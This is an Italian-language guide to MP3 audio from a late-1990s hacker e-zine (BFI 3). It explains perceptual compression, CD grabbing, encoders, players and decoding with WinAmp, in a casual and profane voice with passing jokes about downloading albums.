ijÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄijÄ
\\alV^iCf
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ÈÍMiSCÍÍÍÍÍÍÍÍÍÍÍÍÍÄÄÄÄÄÄÄÄ GUiDA AL M0ND0 DEGLi MP3 ÄÄÄÄÄÄÄÄÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
---------------------------------------------------
GuiDa Al moNdo deGlI .mp3 by Dr.Slump feat. Cavallo
Only 4 Softproject 98 Crew Only 4 BFI 3
---------------------------------------------------
Rifacendomi come di conseuto allo stile pIGpEN:
Luogo di stesura: Ufficio ;-) (rubiamo lo stipendio!)
Materiale di consumo: 1 litro e mezzo d'acqua Gaia (400 lire a bottiglia! cazzo
non ho nemmeno nulla da mangiare)
Musica di sottofondo: Lo capisci l'italiano mixtape by Double S (spakka!)
ATPC - Alta Tensione Produzioni Clandestine (come sopra!)
Sigarette: 5 Gauloises Blu (spakkano e fanno male quindi fumatele!)
A tutti i lettori: se volete che scriva altre guide oltre alle solite domande
potete inviare pakketti di sigarette, lattine di birra,
bottiglie di jack daniel's, barattoli di nutella a:
dr_slump@thepentagon.com
Prefazione, doverosa prefazione
Questa guida inizialmente doveva essere scritta da me e da Cavallo... Cavallo
ha fatto la bozza e il filo conduttore, io l'ho rielaborata e modificata
aggiungendo molte della parti che la compongono.
Il nostro prode Cavallo sicuramente non se la prendera' anche perche' ho deciso
di dedicare questa guida proprio a lui. Stronzate a parte questa guida vuole
essere un aiuto a tutti coloro che si avvicinano per la prima volta al
fantastico modno degli .mp3
Tutti gli errori di battitura, tutte le stronzate che ci sono scritte sono ad
appannaggio del Dr. Slump.
*** ATTENZIONE TUTTI I PROGRAMMI CITATI NELLA GUIDA LI POTETE TROVARE ALL'URL:
www.mp3.co.il/main/index.shtml ***
Mini Glossario generale sul mondo degli .mp3
Quello che trovate qui di seguito e' un miniglossario che spiega in due parole
il signifato di alcuni termini che nel mondo degli .mp3 sono usati molto di
frequente. Per ulteriori informazioni vi rimando alle sezioni apposite.
FILE.MP3 : file compresso nel formato MPEG II Layer 3.
MP3 PLAYER : riproduttore di file .mp3, ne avrete bisogno se volete che dalle
vostre casse esca qualcosa.
CD GRABBER : programma che trasforma direttamente una traccia da CD a Wave su
HD.
MP3 ENCODER : programma che comprime i file .wav nel formato .mp3.
MP3 DECODER : programma che decomprime i file .mp3 e li ritrasforma in .wav
CODEC : Compressore/Decompressore in un dato formato audio (es LAPCM) che viene
montato in windows e che permette a windows di riprodurre e convertire file
salvati in quel dato formato.
ID3 Tag : Parte del file MP3 (in coda) dove opzionalmente si possono inserire
dati quali cantante, titolo della canzone, anno di uscita, nome album, etc...
(si sta lavorando ad una versione 4 del suddetto per permettere un inserimento
piu' ampio di dati, per esempio piu' caratteri nel titolo).
PLAYLIST : opzione che in alcuni player consente di stilare una sorta di
"scaletta" dei brani che si vogliono ascoltare.
Come funziona la compressione in formato .mp3
Quello che trovate scritto qui di seguito l'ho preso da qualche fottuto
giornale di quelli che si trovano nelle fottute edicole alla modica somma di
lire 8000 di cui non ricordo il nome. Comunque l'articolo iniziava cosi: C'era
una volta Cappuccetto Rosso... ops questa e' un'altra storia... facciamo i seri
per favore e vediamo di capire come funziona la compressione in formato .mp3
La compressione secondo lo standard Mpeg audio prevede l'eliminazione di
informazioni ritenute non importanti ai fini della qualita' dei suoni. Per
stabilire quali siano le informazioni che possono essere eliminate ci si e'
basati sullo studio delle capacita' percettive dell'orecchio umano. In pratica,
quando ascoltiamo della musica o dei suoni in generale, il nostro cervello
interpreta i suoni e filtra le informazioni irrilevanti. La codifica Mpeg
dell'audio non fa nient'altro che la stessa cosa, ma in anticipo rispetto
all'udito, utilizzando la cosiddetta codifica percettuale.
I concetti alla base di questo tipo di codifica sono a loro volta basati sulla
capacita' di percezione secondo la frequenza e l'intensita' di un suono e sul
"mascheramento" di suoni da parte di altri. Suoni con frequenze piu' basse e
piu' acute devono avere un'intensita maggiore rispetto a suoni con frequenza
media per poter essere percepiti distintamente.
Inoltre anche suoni normalmente percettibili possono non esserlo piu' se
immediatamente preceduti da suoni piu intensi, ovvero un suono debole puo'
essere "mascherato" da uno piu' forte che lo precede.
La procedura di compressione prevede l'analisi dello spettro del segnale audio
e la sua divisione in sub bande, quindi l'applicazione di un modello
psico-acustico per definire quale sia il livello di suono percettibile. Di
conseguenza viene valutato se codificare questa parte di segnale o meno.
Questi principi costituiscono le fondamenta del sistema di codifica Mpeg audio,
che comprende tre diversi schemi di codifica, chiamati Layer 1, Layer 2 e Layer
3, compatibili gerarchicamente (cioe' un lettore Mpeg Layer 3 potra'
decodificare anche i format Layer 1 e 2, mentre un lettore Mpeg Layer 2 potra'
leggere audio layer 2 e 1, ma non layer 3).
Malgrado la struttura di codifica percettuale sia comune, i tre tipi di
codifica producono file che necessitano di un differente transfer rate di dati
per la riproduzione. In particolare il "bit rate" per il Layer 1 va da 32 a 448
kbit/s, per il Layer 2 da 32 a 384 e per il Layer 3 da 32 a 320. Ma grazie a
una maggiore complessita' la qualita' della codifica Mpeg Layer 3 non decade,
pur necessitando di un bit rate inferiore. In tutti i casi vengono impiegate
frequenze di campionamento di 32, di 44,1 o 48 kHz, ma lo standard Mpeg 2 ne
prevede anche di 16, 22,05 e 24 kHz, portando cosi' il bit rate minimo a soli
8 kbit per secondo.
Le applicazioni della compressione Mpeg audio sono molteplici: tutte quelle
situazioni che richiedono un bit rate molto basso non possono che trarre
giovamento da questo standard di compressione, come ad esempio la trasmissione
di audio via internet. Questo tipo di compressione viene usata anche per la
trasmissione di audio digitale via satellite. Sembra anche che alcune
importanti aziende stiano progettando dei dispositivi simili a Walkman o
impianti stereo da casa che permettano la lettura e il conseguente ascolto di
file in formato mp3.
Come ascoltare un file compresso in formato .mp3
Una volta venuti in possesso di un file .mp3 vi servira' un programma per
ascoltarlo.
Di mp3 player ne esitono molti, nella sezione apposita di questo sito
troverete i links che vi permetteranno di downloadare il vostro player
preferito, qui di seguito invece troverete informazioni riguardanti i player
migliori e di conseguenza piu' usati.
Prima di andare con la lista un'avvertenza: l'uso di tali player e il
conseguente ascolto di file .mp3 "succhiano" parte delle risorse del sistema, e
quindi un buon player si riconosce dal fatto che oltre ad avere un buon motore
di decompressione richieda piu' o meno risorse di sistema.
-WinAmp
Questo senza ombra di dubbio e' uno dei migliori player di .mp3 che esistano
attualmente e di conseguenza e' anche il piu' usato. Giunto alla versione 1.91
questo player oltre ad avere un ottimo motore di decompressione e' quello che
ha anche il maggior numero di opzioni disponibili. WinAmp permette l'uso di
plug-in sia video che audio, l'uso di skins (personalizzazione dell'interfaccia
grafica del programma), l'uso di playlist, possiede un'equalizzatore interno,
permette l'ascolto anche di altri formati quali ad esempio i .xm, permette la
trasformazione in file .wav del file .mp3 (ma non viceversa, e' un player non
un decoder!).
Il WinAmp esiste per varie piattaforme: DOSAMP (dos), MacAMP (machintosh),
qtAMP (per linux), x11AMP (per x-windows), quindi troverete senza ombra di
dubbio quella che fa per voi.
Se volete un consiglio andate subito all'indirizzo http://winamp.lh.net (o
andate nella sezione Player del sito di prima) e downloadatevi l'ultima
release disponibile del winamp, non ve ne pentirete!
-Unreal e Unreal max
Questi player (sia in versione normale che per processori mmx) sono i maggiori
antagonisti del WinAmp, godono forse di un minore supporto da parte del
pubblico, ma non sono male, secondo me sono una buona alternativa al WinAmp.
Anche questi come il WinAmp offrono la gestione di playlist, hanno un
equalizzatore interno (piu' completo rispetto a quello del Winamp),
personalizzazione dell'interfaccia grafica e permettono l'ascolto anche di file
con diverso formato. Se fossi in voi gli darei un'occhiata...
-Nad
Di questo player potrete trovare la versione beta, come motore di
decompressione sembrerebbe essere migliore del WinAmp, per quanto riguarda le
opzioni ne ha ancora veramente poche, sembra che i programmatori per ora
abbiano rivolto il loro interesse esclusivamente al motore di decompressione.
Dalle ultime notizie sembrerebbe inoltre che NAD non venga piu' ulteriormente
sviluppato, ma che il suo motore di riproduzione MP3 sia integrato in Sonique,
maggiori info al sito http://www.sonique.com
-WinPlay3
Esiste in versioni a 16 e 32 bit; una volta era shareware ora e' free, (forse
perche' tanto rispetto al WinAMP non c'era storia e il codice di registrazione
lo si trovava ovunque ;-)) e' il player che "ciuccia" meno risorse in windows,
ma e' un po limitato rispetto a WinAMP (non ha gestione di playlist, da'
problemi nell'apertura di alcuni files con nomi strani, niente effetti, non
supporta l'ID3 ecc.). E' consigliato quindi per PC non proprio potenti (vekki
486 ad esempio).
Grabbing
Cosa necessaria per fare gli Mp3 e' il possesso di file .wav (spero che
sappiate tutti che cosa sono, nel caso contrario sparatevi!) i quali verrano
poi successivamente compressi e trasformati in file .mp3.
Per ottenere dei file wave potrete partire da un qualsivoglia supporto sonoro,
quali ad esempio nastri, vinili e cd, passando per l'ingresso line in della
vostra sound blaster e registrando poi con programmi tipo Goldwave o Cooledit.
Nel caso la vostra sorgente sia una cassetta o un vinile vi consiglio di
"pulire" il piu' possibile il file .wav da voi generato. In ogni caso
registrate i vostri .wav nel formato 44khz 16bit stereo.
Nel caso della registrazioneda cd non avrete bisogno di passare dalla line in
della soundblaster ma potrete utilizzare direttamente il lettore cd installato
nel vostro PC.
Prima di iniziare un'avvertenza: considerate che 1 minuto di registrazione in
qualita' 44khz 16bit stereo occupa circa 10mb di spazio su hd.
Analizzando piu' a fondo il grabbing abbiamo due distinti metodi, vediamo quali
sono:
Metodo 1
- Registrazione 44khz 16bit stereo di un file .wav partendo da vinile o da
cassetta, passando per l'ingresso line in della soundblaster, si consiglia la
successiva "pulizia" del file .wav prima di passare all'encoding.
- Registrazione via scheda sonora di un Cd Audio mediante il lettore nel vostro
PC.
In ambedue i casi per registrare file .wav dovrete utilizzare programmi tipo
CoolEdit o Goldwave, facendo ben attenzione al volume di registrazione e alla
qualita' di registrazione (44khz 16bit stereo). Questo metodo e' consigliato
solo nel caso si debbano creare dei file .wav partendo da cassette o vinile,
oppure agli sfortunati possessori di lettori cd-rom che non permettano
l'estrazione dell'audio (vedere paragrafo successivo).
Metodo 2
- Registrazione di una traccia CD Audio, facendo il grabbing diretto da CD,
utilizzando degli appositi programmi quali ad esempio WinDAC, Audio Grabber,
CDDA (dos), ecc.
Questo metodo e' particolarmente consigliato poiche' il file .wav viene
generato direttamete su hd non passando per la scheda audio; inoltre non e'
necessario impostare ne' il volume ne' la qualita' di registrazione.
Quindi se il vostro lettore CD supporta l'estrazione di tracce audio vi
conisglio caldamente di andare nella sezione Grabbing di questa Home apge, di
scaricarvi un apposito programma per il grabbing (personamente uso il WinDac) e
di creare i vostri .wav con questo secondo metodo.
Perche' il mio lettore CD non estrae le tracce Audio?
Leggere audio digitale da un lettore di Cd-Rom dovrebbe essere un'operazione
banale: dopotutto e' come copiare file da un normale Cd-Rom, solo che i byte
codificano la musica riprodotta dai lettori Hi-Fi invece di programmi o
immagini. La realte' pero' e' diversa, come hanno sperimentato tutti coloro che
hanno provato senza successo a leggere le tracce audio con il loro Cd-Rom, che
invece le riproduce senza problemi.
Il paradosso ha una spiegazione semplice: negli attuali lettori Cd-Rom, i
circuiti di trattamento dell'audio digitale sono distinti da quelli per
l'elaborazione dei dati e spesso sono addirittura contenuti in chip diversi.
Un lettore Cd-Rom per computer contiene cioe' due apparecchi separati, un lettore
audio e uno per i dati, che hanno in comune solo la meccanica laser, il chip
demodulatore Efm e il piccolo microcontrollore di gestione.
Gli ostacoli per la lettura digitale delle tracce audio nascono proprio nella
sezione dati. I Cd-Audio non usano la stessa "formattaziene" dei Cd dati, ma
seguono lo standard Cd-Da, che oggi si puo' classificare come una variante
delle specifiche Xa mode2. Per leggere le tracce audio con successo e'
necessario che il "firmware" che governa la parte dati del lettore sappia come
trattare il formato Cd-Da. Per il produttore la fatica addizionale per
aggiungere il supporto Cd-Da e' minima, ma c'e' chi decide di non "perdere
tempo" per implementarla. Solo i modelli recenti dei marchi piu' famosi (Sony,
Pioneer eccetera) supportano sempre l'estrazione digitale dei dati audio; per
gli altri bisogna verificare caso per caso.
Un'altra causa riguarda la correzione d'errore. I dati audio sono protetti da
un complesso sistema Crc che permette di ricostruire i bit alterati dagli
errori di lettura, ma gli algoritmi di correzione sono eseguiti in hardware
solo dal "chip audio", che lavora esclusivamente a velocita' 1x. Poiche' i dati
da inviare al computer seguono una strada completamente diversa, il produttore
ha tre possibilita' per consentire la lettura digitale dei Cd-Da da parte del
computer:
a) abbassare la velocita' a 1x e prelevare i dati demodulati ("cooked")
dall'uscita del chip audio, appena prima del filtro digitale (che va a pilotare
il convertitore DIA e poi l'uscita cuffia del drive);
b) eseguire gli algoritmi Crc con il firmware di gestione. Anche in questo caso
la velocita' va rallentata, perche' il micro-controllore del drive potrebbe non
essere abbastanza veloce per gestire dati a velocita' 8x o superiori.
c) non correggere i dati ma fornire direttamente l'intero settore Xa (dati
"raw") al computer, lasciando il compito di demodulare e correggere al software
che gira sul PC. Teoricamente cosi' non c'e' piu' bisogno di abbassare la
velocita' di lettura, ma anche i drive che seguono questo metodo leggono i
Cd-Da piu' lentamente dei Cd dati, per abbassare le probabilita' d'errore.
Infatti mentre il computer elabora un campione, il laser e' gia' arrivato molto
piu' avanti nella lettura: in caso d'errore bisogna evitare di tornare indietro
e tentare di rileggere, come invece si fa nella lettura dei Cd-Rom.
Nei masterizzatori di solito questo problema non si pone, perche' il loro chip
gestisce direttamente qualunque formato di dati, incluso il Cd-Da. E' probabile
che in futuro anche i lettori Cd utilizzeranno un chip per il trattamento dei
dati di tipo universale, ma nel frattempo solo qualche modello Scsi
particolarmente costoso lo possiede. Nei lettori Eide Atapi il costo di un chip
aggiuntivo per l'estrazione veloce dei Cd-Da sarebbe inaccettabile e, nella
fase di transizione attuale, l'estrazione audio digitale e' supportata piu' o
meno efficacemente a seconda del chipset scelto dal produttore.
Encoding: produciamo i nostri .mp3
Bene siamo giunti alla spiegazione di come creare i nostri file .mp3, prima di
tutto dobbiamo avere, come abbiamo visto poco sopra, un file .wav campionato a
44khz 16bit stereo e inoltre dobbiamo avere un programma utile al nostro scopo.
Tali programmi prendono il nome di encoders. Ci sono, come nel caso dei
palyers, molti tipi di encoder e questi variano tra loro a seconda della
velocita' di compressione e della qualita' di compressione. A voi la scelta,
meglio comprimere in modo piu' veloce, perdendo un po' (secondo me molto poco)
sulla qualita' oppure puntare tutto sulla qualita' a scapito della velocita'?
I principali motori di compressione sono due:
- il primo elaborato dal Fraunhofer-IIS che punta molto sulla qualita' di
produzione a scapito della velocita'
- il secondo e' stato elaborato dallo Xing Lab e permette compressione di file
.wav in .mp3 molto veloci a scapito della qualita' (niente di osceno comunque,
visto che probabilmente e' uno dei piu' usati)
Analiziamo alcuni tipi di encoders:
-L3Producer
Realizzato dal Fraunhofer-IIS e' un software per Windows '95 che vi installa
anche il CODEC in modo da poterlo utilizzare per riprodurre Wave compressi come
mp3 e sopratutto vi permette di usarlo con alcuni cd grabber (vedi paragrafo
precendete) quali ad esempio Audiograbber (mitica accoppiata) o WinDac.
-L3Encoder
Realizzato sempre dal Fraunhofer-IIS, si puo' dire che sia il corrispettivo DOS
del L3Producer, naturalmente per questo esistono una miriade di Frontend per
Windows 95 in modo che non dobbiate scrivere alcun comando. Sia questo che il
precedente encoders producono file .mp3 di ottima qualita' a scapito della
velocita' sopratutto sui Pc piu' lenti.
-Mp3 Compressor
Questo compressore sfrutta illegalmente il CODEC presente nell'L3Producer,
offrendo una interfaccia differente, dando la possibilita' anche di fare un
quick encoding piu' veloce rispetto a l3producer e l3encoder, ma di qualita'
piu' scarsa.
-Xing Mpeg Encoder
Lo xing e'stato pubblicizzato molto nel mondo Mp3 come il piu' veloce encoder
esistente, ed effettivamente e' cosi', unico neo di questo potente compressore
risiede nel fatto che si hanno degli .mp3 di piu' scarsa qualita' rispetto ai
compressori che usano il motore Fraunhofer-IIS (secondo me non tale da essere
considerati merda, sono sicuro che molti di voi non noteranno le
differenze...).
Per creare file .mp3 questo encoder (che puo' comprimere anche file video) deve
essere opportunatamente settato. Quindi mi raccomando (partite da new
profiles).
L'utilizzo di un encoders rispetto ad un altro dipende da voi, dipende da
quello che dovete encodare e per quale motivo, sulla rete delle reti ci sono
pareri molto discordanti, la maggioranza di quelli con cui chatto usa ambedue i
motori di compressione, a seconda delle occasioni, a voi la scelta.
Per quanto riguarda la qualita' di encoding, non posso che consigliare per
avere una resa buona: 128kbit/s 44 Khz 16 bit Stereo questi settaggi vi
dovrebbero dare una qualita' VICINA a quella del CDoriginale (NON UGUALE,
leggetevi la prima parte di questa specie di guida al mondo degli .mp3). Alcuni
per ottenere una qualita' superiore utilizza encoding a 192kb o 256kb
addirittura, con questo tipo di compressione iniziate pero' ad aumentare
sensibilmente le dimensioni del file, come gia' detto poco sopra e' una vostra
scelta (se dovete scambiare file .mp3 sulla rete, vi consiglio di usare la
compressione standard, ovvero 128kbit/s 44 Khz 16 bit Stereo).
Se dovete invece encodare dei file .wav abbastanza rovinati, il "rapporto" di
compressione puo' anche scendere, portando un esempio, per le vecchie sigle dei
cartoni animati, prese spesso da vinile, viene usata una compressione del tipo
156kbit/s 32 Khz 16 bit Stereo.
Decoding: ridatemi il mio file .wav!
A volte potrebbe esserci utile trasformare i file .mp3 in file .wav
(birbantelli lo so che vi scaricate da internet album full cd in formato .mp3 e
poi vi viene vogli di farvi il vostro Cd Audio da sentire a palla con il vostro
stereo di casa :) , per fare cio' vi serve un masterizzatore e un programma di
masterizzazione (tipo easy cd creator) per un qualsiasi motivo.
Come fare? Semplice anche in questo caso possiamo utilizzare diversi programmi
e diversi sistemi.
Vi illustro solamente il metodo piu' semplice e immediato (solo per conoscenza
sappiate che la Fraunhofer-IIS insieme al suo encoder fornisce anche relativo
decoder) utilizzando WinAmp.
Scaricatevi WinAmp, andate su preferences, a input plug-in cliccate su Nullsoft
Mp2/mp3 decoder, a output device selezionate .wav file output (silent); a
questo punto cliccate su ok, lanciate il vostro mp3 preferito, non sentirete
nulla, ma noterete che il tempo scorre piu' velocemente del normale, finito
questo andate nella directory da voi selezionata e troverete il file .wav del
corrispettivo .mp3 da voi selezionato.
Che dire... buona masterizzazione ;-)
Novita' dell'ultima ora o quasi (quando le ho scoperte io ;-) )
Come cominciare quest'ultima parte? Ah si' sono in ufficio nella classica pausa
pranzo, fa un caldo della madonna e non ho fantasia di uscire per il pranzo
(sono 4 giorni che non pranzo eh eh eh) quindi mi metto qui davanti al PC e
scrivo quelle che secondo me sono le ultime novita' in fatto di .mp3 (girano
gia' da mesi, ma questa guida io la sto scrivendo ora...):
1) In USA stanno uscendo i primi mp3 walkman ovvero walkman che al posto delle
classiche cassettine hanno delle memorie flash (10mb 30mb 50mb) su cui
memorizzare gli mp3. Che dire? Come tutte le novita' inizilamente il costo di
questi aggeggi e' proibitivo (al cambio attuale circa mezza testa ops mezzo
milione).
Comunque l'idea a me sembra abbastanza fika...
2) Nuovi formati entrano in diretta battaglia con il formato .mp3. Sto parlando
dei .vq della yamaha e dei .cce prodotti da Audiolibrary
- Yamaha Vq: che dire a un primo ascolto non mi sembrano affato male, sul sito
della yamaha potrete scaricare sia l'encoder che il player (sono due programmi
distinti...). Per quano riguarda la velocita' di compressione mi sembra
abbastanza buona cosi' come la qualita' di compressione. Provateli anche voi.
Se puo' esservi utile cominciano a comparire i primi canali irc dove si
scambiano songs esclusivamente in questo formato...
- Audiolibrary .cce: formato fattomi scoprire dal buon Pacciani, come prima
impressione che dire? RULEZZANO DI BRUTTO. Tutto quello di cui avete bisogno e'
il programma Audiolibrary che funge sia da encoder che da player. Velocita' di
compressione buona, molto buona... quello che stupisce e' pero' la qualita'
della trasmissione.
Infatti pur comprimendo i file a 128kbit subito si nota che la qualita' di
questi ultimi corrisponde a quella di un .mp3 compresso a 192kbit, ma okkupando
lo stesso spazio di un .mp3 compresso a 128kbit! Secondo molti questo sara' il
sistema di compressione audio del futuro. Se fossi in voi gli darei un okkio!
Ringraziamenti finali:
- Cavallo per l'idea, per il filo conduttore di questa guida, per tutto il
resto.
- Pacciani, e' lui che mi ha mandato in fissa con gli .mp3 .
- S0ftProject Group al completo.
Dr. Slump per S0ftProject Crew
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ ³º
º³ HANN0 C0LLAá0RAT0 A QUEST0 NUMER0: ³º
º³ ³º
º³ Alex Kuligk - b0z0 - Blinking - Cavallo - Darker ³º
º³ Dark Schneider - DevilKiss - Dr_Slump - DrumFire ³º
º³ Eric Draven - Frank Black - Fre - fusys - [goku] ³º
º³ InfectedMachine - Jack McKrak - jH - LordFelix - Nello|Z ³º
º³ onid^ - |Pazzo| - pIGpEN - Raptor - |scacco| - SMa$teR ³º
º³ sorbo - sPIRIT - The_Hawk - \\alV^iCf - xOANON ³º
º³ ³º
º³ iL SiT0 UiCiALE Di áUTCHERED R0M iNSiDE: ³º
º³ http://bfi98.home.ml.org ³º
º³ ³º
º³ C0NTATTATECi ViA E-MAiL: ³º
º³ BFI98@USA.NET ³º
º³ ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
*******************************************************************************
* SI _VIETA_ DI POSTARE BFI SUI NEWSGROUP *
*******************************************************************************